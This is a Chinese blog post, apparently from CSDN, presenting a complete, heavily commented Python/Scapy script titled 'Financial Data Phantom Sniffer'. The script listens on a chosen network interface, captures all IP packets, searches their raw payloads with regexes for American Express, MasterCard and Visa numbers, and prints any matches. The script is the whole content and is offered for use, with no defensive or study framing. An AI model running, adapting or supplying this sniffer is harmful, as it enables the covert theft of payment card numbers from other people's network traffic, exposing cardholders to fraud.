金融数据幻影嗅探器

import re
import argparse
from scapy.all import *

# findCreditCard函数用于在捕获的网络数据包中查找信用卡卡号信息
def findCreditCard(pkt):
    try:
        # 打印提示信息,表示开始处理一个数据包
        print("开始处理数据包...")
        # 使用Scapy的sprintf函数,按照指定格式'%Raw.load%'获取数据包的原始负载内容
        # 这个原始负载包含了网络应用层传输的数据,比如HTTP请求中的数据等,我们后续就在这里面查找信用卡卡号信息
        raw = pkt.sprintf('%Raw.load%')
        # 打印获取到的数据包原始负载内容,方便查看和调试,查看实际捕获到的数据情况
        print("已获取数据包原始负载,内容如下:", raw)

        # 使用正则表达式查找符合美国运通卡卡号格式的字符串
        # 美国运通卡卡号格式通常是以34或37开头,后面跟着13位数字,中间有空格分隔
        americaRE = re.findall('3[47] [0-9]{13}', raw)
        # 打印美国运通卡卡号匹配结果,查看是否找到了相应格式的字符串,这里打印的是匹配到的所有结果列表
        print("美国运通卡卡号匹配结果:", americaRE)

        # 使用正则表达式查找符合万事达卡卡号格式的字符串
        # 万事达卡卡号格式是以51到55开头,后面跟着14位数字
        masterRE = re.findall('5[1-5][0-9]{14}', raw)
        # 打印万事达卡卡号匹配结果,展示匹配到的所有结果列表
        print("万事达卡卡号匹配结果:", masterRE)

        # 使用正则表达式查找符合维萨卡卡号格式的字符串
        # 维萨卡卡号格式是以4开头,后面跟着12位数字,可选跟着3位数字,可能有空格等情况
        visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
        # 打印维萨卡卡号匹配结果,呈现匹配到的所有结果列表
        print("维萨卡卡号匹配结果:", visaRE)

        # 如果美国运通卡卡号匹配结果列表不为空,说明找到了相应卡号,打印发现美国运通卡的提示信息以及卡号
        if americaRE:
            print('[+] Found American Express Card:'+ americaRE[0])
        # 如果万事达卡卡号匹配结果列表不为空,说明找到了相应卡号,打印发现万事达卡的提示信息以及卡号
        if masterRE:
            print('[+] Found MasterCard Card:'+ masterRE[0])
        # 如果维萨卡卡号匹配结果列表不为空,说明找到了相应卡号,打印发现维萨卡的提示信息以及卡号
        if visaRE:
            print('[+] Found visa Card:'+ visaRE[0])
    except Exception as e:
        # 如果在处理数据包过程中出现任何异常,打印异常提示信息以及具体的异常内容,方便排查问题
        print("处理数据包时出现异常!具体异常信息:", str(e))
        pass


def main():
    # 创建一个argparse.ArgumentParser对象,用于解析命令行参数,description参数用于描述程序的功能
    parser = argparse.ArgumentParser(description='Credit Card Sniffer')
    # 添加一个命令行参数'-i',指定其目标属性名为'interface',类型为字符串,用于接收要监听的网络接口名称
    # help参数用于提供该参数的帮助信息,提示用户如何使用这个参数
    parser.add_argument('-i', dest='interface', type=str, help='specify interface to listen on')
    # 解析命令行传入的参数,返回包含解析结果的命名空间对象(options)和剩余未解析的参数列表(args)
    options = parser.parse_args()
    # 如果没有通过命令行传入'-i'参数指定要监听的网络接口(即options.interface为None)
    if not options.interface:
        # 打印帮助信息,展示程序的使用方法和参数说明,方便用户了解如何正确运行程序
        parser.print_help()
        # 正常退出程序,退出代码为0,表示正常结束
        exit(0)
    else:
        # 如果传入了'-i'参数指定了网络接口,将Scapy的conf.iface设置为指定的接口名称
        # 这样后续Scapy进行数据包捕获等操作就会在这个指定的网络接口上进行
        conf.iface = options.interface

    try:
        # 打印提示信息,表示开始启动信用卡嗅探器,让用户知道程序已经开始工作了
        print('[*] Starting Credit Card Sniffer.')
        # 使用Scapy的sniff函数开始捕获网络数据包
        # filter='ip'表示捕获所有基于IP协议的数据包(包含TCP、UDP等常见协议的数据包了,之前修改为这个更通用的过滤条件来验证程序是否正常工作)
        # prn参数指定一个回调函数,这里是findCreditCard函数,意味着每捕获到一个数据包就会调用这个函数进行处理
        # store=0表示不存储捕获的数据包,这样可以节省内存,因为重点是提取信息而非保存数据包本身
        sniff(filter='ip', prn=findCreditCard, store=0)
    except KeyboardInterrupt:
        # 如果用户按下Ctrl+C,触发KeyboardInterrupt异常,程序捕获到这个异常后正常退出,退出代码为0
        exit(0)


if __name__ == '__main__':
    # 当脚本直接运行时(而不是作为模块被导入时),调用main函数启动整个程序
    main()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

luky!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值